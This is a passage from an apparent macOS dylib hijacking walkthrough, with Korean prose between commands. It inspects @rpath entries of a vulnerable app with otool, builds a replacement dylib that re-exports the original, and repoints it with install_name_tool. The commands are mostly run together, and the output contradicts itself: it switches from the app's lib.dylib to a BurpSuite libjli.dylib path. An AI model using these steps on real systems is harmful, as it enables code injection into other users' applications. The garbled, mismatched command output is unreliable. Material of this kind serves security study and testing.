# Check where are the @rpath locationsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grepLC_RPATH-A2cmdLC_RPATHcmdsize32path@loader_path/. (offset 12)--cmdLC_RPATHcmdsize32path@loader_path/../lib2 (offset 12)
# Check librareis loaded using @rapth and the used versionsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grep"@rpath"-A3name@rpath/lib.dylib (offset 24)time stamp 2 Thu Jan 1 01:00:02 1970currentversion1.0.0compatibilityversion1.0.0# Check the versions
이전 정보를 통해 우리는 로드된 라이브러리의 서명을 확인하지 않고 있으며 다음에서 라이브러리를 로드하려고 시도하고 있다는 것을 알 수 있습니다:
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
라이브러리에서 생성된 재수출 경로는 로더에 상대적입니다. 이를 라이브러리에 대한 절대 경로로 변경합시다:
#Check relativeotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize48name@rpath/libjli.dylib (offset 24)#Change the location of the library absolute to absolute pathinstall_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check againotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize128name/Applications/BurpSuiteProfessional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)